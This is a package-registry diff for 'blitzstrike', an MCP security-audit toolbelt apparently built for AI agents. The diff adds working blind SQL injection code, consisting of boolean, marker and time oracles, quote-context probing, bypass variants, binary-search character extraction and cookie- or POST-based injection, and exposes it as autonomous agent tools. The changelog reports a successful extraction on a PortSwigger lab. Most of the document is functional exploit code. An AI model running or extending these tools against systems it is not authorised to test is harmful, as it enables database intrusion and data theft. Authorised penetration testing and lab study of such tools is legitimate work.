blitzstrike 2.4.161 → 2.4.162
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +18 -0
- package/dist/index.js +87 -30
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,24 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.162] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — binary-search extraction + marker oracle (blind SQLi)
|
|
11
|
+
|
|
12
|
+
- `blind_sqli_extract` now binary-searches the charset (≈6 requests/char) instead
|
|
13
|
+
of a full linear scan — via a `>` string-comparison template derived from the
|
|
14
|
+
`=` template (the trailing `--` already neutralizes the original closing quote).
|
|
15
|
+
Per-char equality verify + linear fallback keeps case-insensitive collations and
|
|
16
|
+
special chars correct.
|
|
17
|
+
- Added a `marker` option to `blind_sqli_confirm` + `blind_sqli_extract`: a text
|
|
18
|
+
that appears ONLY in the TRUE response (e.g. "Welcome back"). The boolean oracle
|
|
19
|
+
becomes marker-presence — robust against baseline page-size drift (PortSwigger
|
|
20
|
+
home drifts ~2.6KB between requests, which broke exact byte-count equality).
|
|
21
|
+
Byte-count fallback is now nearest-reference (closest to TRUE vs FALSE size).
|
|
22
|
+
- Verified end-to-end on a live PortSwigger blind-SQLi lab (TrackingId cookie,
|
|
23
|
+
PostgreSQL): confirm both channels + extract version="PostgreSQL",
|
|
24
|
+
database="academy_labs".
|
|
25
|
+
|
|
8
26
|
## [2.4.161] — 2026-10-11
|
|
9
27
|
|
|
10
28
|
### Added — Cookie injection support (blind SQLi)
|
package/dist/index.js
CHANGED
|
@@ -62486,6 +62486,13 @@ function makeFetcher(base, param, method, bodyTpl, cookieName) {
|
|
|
62486
62486
|
return -1;
|
|
62487
62487
|
}
|
|
62488
62488
|
},
|
|
62489
|
+
async body(payload) {
|
|
62490
|
+
try {
|
|
62491
|
+
return await (await send(payload)).text();
|
|
62492
|
+
} catch {
|
|
62493
|
+
return "";
|
|
62494
|
+
}
|
|
62495
|
+
},
|
|
62489
62496
|
async time(payload) {
|
|
62490
62497
|
const t0 = Date.now();
|
|
62491
62498
|
await this.size(payload);
|
|
@@ -62499,17 +62506,29 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql", opts = {}
|
|
|
62499
62506
|
if (!p)
|
|
62500
62507
|
return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
|
|
62501
62508
|
const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
|
|
62509
|
+
const marker = opts.marker ?? "";
|
|
62502
62510
|
let boolDiff = false, bt = -1, bf = -1;
|
|
62503
62511
|
let boolBypass = null;
|
|
62504
62512
|
const btv = oracleBypassVariants(p.oracle.boolean_true);
|
|
62505
62513
|
const bfv = oracleBypassVariants(p.oracle.boolean_false);
|
|
62506
62514
|
for (let i = 0;i < btv.length; i++) {
|
|
62507
|
-
const
|
|
62508
|
-
|
|
62509
|
-
if (
|
|
62515
|
+
const tP = `${value}${btv[i]}`, fP = `${value}${bfv[i]}`;
|
|
62516
|
+
let diff = false, tN = -1, fN = -1;
|
|
62517
|
+
if (marker) {
|
|
62518
|
+
const tb = await F.body(tP), fb = await F.body(fP);
|
|
62519
|
+
diff = tb.includes(marker) !== fb.includes(marker);
|
|
62520
|
+
tN = tb.length;
|
|
62521
|
+
fN = fb.length;
|
|
62522
|
+
} else {
|
|
62523
|
+
const t = await F.size(tP), f = await F.size(fP);
|
|
62524
|
+
diff = t >= 0 && f >= 0 && t !== f;
|
|
62525
|
+
tN = t;
|
|
62526
|
+
fN = f;
|
|
62527
|
+
}
|
|
62528
|
+
if (diff) {
|
|
62510
62529
|
boolDiff = true;
|
|
62511
|
-
bt =
|
|
62512
|
-
bf =
|
|
62530
|
+
bt = tN;
|
|
62531
|
+
bf = fN;
|
|
62513
62532
|
boolBypass = i === 0 ? null : btv[i];
|
|
62514
62533
|
break;
|
|
62515
62534
|
}
|
|
@@ -62572,22 +62591,37 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62572
62591
|
const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
|
|
62573
62592
|
const getSize = (payload) => F.size(payload);
|
|
62574
62593
|
const getTime = (payload) => F.time(payload);
|
|
62594
|
+
const getBody = (payload) => F.body(payload);
|
|
62595
|
+
const marker = opts.marker ?? "";
|
|
62575
62596
|
const maxlen = opts.maxlen ?? 64;
|
|
62576
62597
|
let channel = opts.channel ?? "boolean";
|
|
62577
62598
|
const contexts = ["'", '"', "", "')", '")'];
|
|
62578
62599
|
let ctx = "'";
|
|
62579
|
-
let trueSize = -1;
|
|
62600
|
+
let trueSize = -1, falseSize = -1;
|
|
62601
|
+
let ctxFound = false;
|
|
62580
62602
|
if (channel === "boolean") {
|
|
62581
62603
|
for (const c of contexts) {
|
|
62582
|
-
const
|
|
62583
|
-
const
|
|
62584
|
-
if (
|
|
62585
|
-
|
|
62586
|
-
|
|
62587
|
-
|
|
62604
|
+
const tp = `${value}${p.oracle.boolean_true.replace(/^'/, c)}`;
|
|
62605
|
+
const fp = `${value}${p.oracle.boolean_false.replace(/^'/, c)}`;
|
|
62606
|
+
if (marker) {
|
|
62607
|
+
if ((await getBody(tp)).includes(marker) !== (await getBody(fp)).includes(marker)) {
|
|
62608
|
+
ctx = c;
|
|
62609
|
+
ctxFound = true;
|
|
62610
|
+
break;
|
|
62611
|
+
}
|
|
62612
|
+
} else {
|
|
62613
|
+
const t = await getSize(tp);
|
|
62614
|
+
const f = await getSize(fp);
|
|
62615
|
+
if (t >= 0 && f >= 0 && t !== f) {
|
|
62616
|
+
ctx = c;
|
|
62617
|
+
trueSize = t;
|
|
62618
|
+
falseSize = f;
|
|
62619
|
+
ctxFound = true;
|
|
62620
|
+
break;
|
|
62621
|
+
}
|
|
62588
62622
|
}
|
|
62589
62623
|
}
|
|
62590
|
-
if (
|
|
62624
|
+
if (!ctxFound)
|
|
62591
62625
|
channel = "time";
|
|
62592
62626
|
}
|
|
62593
62627
|
if (channel === "time") {
|
|
@@ -62601,16 +62635,24 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62601
62635
|
}
|
|
62602
62636
|
}
|
|
62603
62637
|
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
|
|
62638
|
+
const bsCharset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
62604
62639
|
const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
|
|
62605
62640
|
const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
|
|
62606
|
-
const
|
|
62641
|
+
const isTrue = async (tpl, pos, ch) => {
|
|
62642
|
+
if (channel === "time")
|
|
62643
|
+
return await getTime(render(tpl, pos, ch)) > 600;
|
|
62644
|
+
if (marker)
|
|
62645
|
+
return (await getBody(render(tpl, pos, ch))).includes(marker);
|
|
62646
|
+
const s = await getSize(render(tpl, pos, ch));
|
|
62647
|
+
return s >= 0 && Math.abs(s - trueSize) <= Math.abs(s - falseSize);
|
|
62648
|
+
};
|
|
62607
62649
|
const variants = extractBypassVariants(baseTpl);
|
|
62608
62650
|
let tpl = variants[0];
|
|
62609
62651
|
let tplBypass = null;
|
|
62610
62652
|
for (const v of variants) {
|
|
62611
62653
|
let ok = false;
|
|
62612
62654
|
for (const ch of charset) {
|
|
62613
|
-
if (await
|
|
62655
|
+
if (await isTrue(v, 1, ch)) {
|
|
62614
62656
|
ok = true;
|
|
62615
62657
|
break;
|
|
62616
62658
|
}
|
|
@@ -62621,18 +62663,31 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62621
62663
|
break;
|
|
62622
62664
|
}
|
|
62623
62665
|
}
|
|
62666
|
+
const gtTpl = tpl.replace(/='\{char\}'/, ">'{char}'");
|
|
62667
|
+
const extractChar = async (pos) => {
|
|
62668
|
+
let lo = 0, hi = bsCharset.length - 1;
|
|
62669
|
+
while (lo < hi) {
|
|
62670
|
+
const mid = lo + hi >> 1;
|
|
62671
|
+
if (await isTrue(gtTpl, pos, bsCharset[mid]))
|
|
62672
|
+
lo = mid + 1;
|
|
62673
|
+
else
|
|
62674
|
+
hi = mid;
|
|
62675
|
+
}
|
|
62676
|
+
const ch = bsCharset[lo];
|
|
62677
|
+
if (await isTrue(tpl, pos, ch))
|
|
62678
|
+
return ch;
|
|
62679
|
+
for (const c of charset) {
|
|
62680
|
+
if (await isTrue(tpl, pos, c))
|
|
62681
|
+
return c;
|
|
62682
|
+
}
|
|
62683
|
+
return null;
|
|
62684
|
+
};
|
|
62624
62685
|
let out = "";
|
|
62625
62686
|
for (let pos = 1;pos <= maxlen; pos++) {
|
|
62626
|
-
|
|
62627
|
-
|
|
62628
|
-
if (await matches(tpl, pos, ch)) {
|
|
62629
|
-
found = ch;
|
|
62630
|
-
break;
|
|
62631
|
-
}
|
|
62632
|
-
}
|
|
62633
|
-
if (found === null)
|
|
62687
|
+
const ch = await extractChar(pos);
|
|
62688
|
+
if (ch === null)
|
|
62634
62689
|
break;
|
|
62635
|
-
out +=
|
|
62690
|
+
out += ch;
|
|
62636
62691
|
}
|
|
62637
62692
|
out = out.trimEnd();
|
|
62638
62693
|
return {
|
|
@@ -65414,10 +65469,11 @@ ${statusLine}` : statusLine },
|
|
|
65414
65469
|
dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)"),
|
|
65415
65470
|
method: string2().optional().describe("'GET' (default) or 'POST' for form/login blind SQLi"),
|
|
65416
65471
|
body: string2().optional().describe("POST body template with {value} placeholder for the injection point (e.g. 'uname={value}&passwd=admin&submit=Submit')"),
|
|
65417
|
-
cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)")
|
|
65472
|
+
cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)"),
|
|
65473
|
+
marker: string2().optional().describe("Text that appears ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for pages whose size drifts; overrides byte-count")
|
|
65418
65474
|
}
|
|
65419
|
-
}, async ({ base_url, param, value, dbms, method, body, cookie }) => {
|
|
65420
|
-
return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie })) }] };
|
|
65475
|
+
}, async ({ base_url, param, value, dbms, method, body, cookie, marker }) => {
|
|
65476
|
+
return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie, marker })) }] };
|
|
65421
65477
|
});
|
|
65422
65478
|
server.registerTool("blind_sqli_extract", {
|
|
65423
65479
|
title: "Blind SQLi metadata extraction (autonomous)",
|
|
@@ -65434,10 +65490,11 @@ ${statusLine}` : statusLine },
|
|
|
65434
65490
|
index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)"),
|
|
65435
65491
|
method: string2().optional().describe("'GET' (default) or 'POST'"),
|
|
65436
65492
|
body: string2().optional().describe("POST body template with {value} placeholder"),
|
|
65437
|
-
cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')")
|
|
65493
|
+
cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')"),
|
|
65494
|
+
marker: string2().optional().describe("Text appearing ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for size-drifting pages")
|
|
65438
65495
|
}
|
|
65439
|
-
}, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie }) => {
|
|
65440
|
-
return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie })) }] };
|
|
65496
|
+
}, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie, marker }) => {
|
|
65497
|
+
return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie, marker })) }] };
|
|
65441
65498
|
});
|
|
65442
65499
|
server.registerTool("oob_start", {
|
|
65443
65500
|
title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.162",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|